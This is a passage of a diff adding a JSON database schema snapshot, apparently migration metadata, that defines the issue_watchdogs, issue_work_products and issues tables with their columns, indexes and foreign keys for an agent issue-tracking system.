+          "notNull": false
+        },
+        "updated_by_run_id": {
+          "name": "updated_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_watchdogs_company_issue_uq": {
+          "name": "issue_watchdogs_company_issue_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_status_idx": {
+          "name": "issue_watchdogs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_agent_idx": {
+          "name": "issue_watchdogs_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "watchdog_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_watchdog_issue_uq": {
+          "name": "issue_watchdogs_company_watchdog_issue_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "watchdog_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_watchdogs\".\"watchdog_issue_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_watchdogs_company_id_companies_id_fk": {
+          "name": "issue_watchdogs_company_id_companies_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_issue_id_issues_id_fk": {
+          "name": "issue_watchdogs_issue_id_issues_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_watchdog_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_watchdog_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "watchdog_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_watchdog_issue_id_issues_id_fk": {
+          "name": "issue_watchdogs_watchdog_issue_id_issues_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "watchdog_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_created_by_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_updated_by_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "updated_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_work_products": {
+      "name": "issue_work_products",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_service_id": {
+          "name": "runtime_service_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "url": {
+          "name": "url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "review_state": {
+          "name": "review_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "is_primary": {
+          "name": "is_primary",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_work_products_company_issue_type_idx": {
+          "name": "issue_work_products_company_issue_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_execution_workspace_type_idx": {
+          "name": "issue_work_products_company_execution_workspace_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_provider_external_id_idx": {
+          "name": "issue_work_products_company_provider_external_id_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "external_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_updated_idx": {
+          "name": "issue_work_products_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_work_products_company_id_companies_id_fk": {
+          "name": "issue_work_products_company_id_companies_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_project_id_projects_id_fk": {
+          "name": "issue_work_products_project_id_projects_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_issue_id_issues_id_fk": {
+          "name": "issue_work_products_issue_id_issues_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "issue_work_products_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk": {
+          "name": "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "workspace_runtime_services",
+          "columnsFrom": [
+            "runtime_service_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_work_products_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issues": {
+      "name": "issues",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'backlog'"
+        },
+        "work_mode": {
+          "name": "work_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'standard'"
+        },
+        "harness_kind": {
+          "name": "harness_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "priority": {
+          "name": "priority",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'medium'"
+        },
+        "review_policy": {
+          "name": "review_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_user_id": {
+          "name": "assignee_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "checkout_run_id": {
+          "name": "checkout_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_run_id": {
+          "name": "execution_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_agent_name_key": {
+          "name": "execution_agent_name_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_locked_at": {
+          "name": "execution_locked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_number": {
+          "name": "issue_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_kind": {
+          "name": "origin_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'manual'"
+        },
+        "origin_id": {
+          "name": "origin_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_fingerprint": {
+          "name": "origin_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "request_depth": {
+          "name": "request_depth",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_adapter_overrides": {
+          "name": "assignee_adapter_overrides",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_policy": {
+          "name": "execution_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_state": {
+          "name": "execution_state",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_next_check_at": {
+          "name": "monitor_next_check_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_wake_requested_at": {
+          "name": "monitor_wake_requested_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_last_triggered_at": {
+          "name": "monitor_last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_attempt_count": {
+          "name": "monitor_attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "monitor_notes": {
+          "name": "monitor_notes",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_scheduled_by": {
+          "name": "monitor_scheduled_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_preference": {
+          "name": "execution_workspace_preference",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_settings": {
+          "name": "execution_workspace_settings",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "unblock_descriptor": {
+          "name": "unblock_descriptor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "blocked_transition_at": {
+          "name": "blocked_transition_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "blocked_owner_notified_at": {
+          "name": "blocked_owner_notified_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cancelled_at": {
+          "name": "cancelled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "hidden_at": {
+          "name": "hidden_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issues_company_status_idx": {
+          "name": "issues_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_harness_kind_idx": {
+          "name": "issues_company_harness_kind_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "harness_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_assignee_status_idx": {
+          "name": "issues_company_assignee_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_assignee_user_status_idx": {
+          "name": "issues_company_assignee_user_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_responsible_user_idx": {
+          "name": "issues_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_parent_idx": {
+          "name": "issues_company_parent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_project_idx": {
+          "name": "issues_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_origin_idx": {
+          "name": "issues_company_origin_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_project_workspace_idx": {
+          "name": "issues_company_project_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_execution_workspace_idx": {
+          "name": "issues_company_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_monitor_due_idx": {
+          "name": "issues_company_monitor_due_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "monitor_next_check_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_updated_idx": {
+          "name": "issues_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_created_idx": {
+          "name": "issues_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_open_normalized_title_created_idx": {
+          "name": "issues_open_normalized_title_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "lower(regexp_replace(btrim(\"title\"), '\\s+', ' ', 'g'))",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"issues\".\"hidden_at\" is null and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_priority_idx": {
+          "name": "issues_company_priority_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "priority",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_identifier_idx": {
+          "name": "issues_identifier_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_title_search_idx": {
+          "name": "issues_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_identifier_search_idx": {
+          "name": "issues_identifier_search_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_description_search_idx": {
+          "name": "issues_description_search_idx",
+          "columns": [
+            {
+              "expression": "description",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_open_routine_execution_uq": {
+          "name": "issues_open_routine_execution_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'routine_execution'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"execution_run_id\" is not null\n          and \"issues\".\"status\" in ('backlog', 'todo', 'in_progress', 'in_review', 'blocked')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_liveness_recovery_incident_uq": {
+          "name": "issues_active_liveness_recovery_incident_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_liveness_recovery_leaf_uq": {
+          "name": "issues_active_liveness_recovery_leaf_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n          and \"issues\".\"origin_fingerprint\" <> 'default'\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_stale_run_evaluation_uq": {
+          "name": "issues_active_stale_run_evaluation_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'stale_active_run_evaluation'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
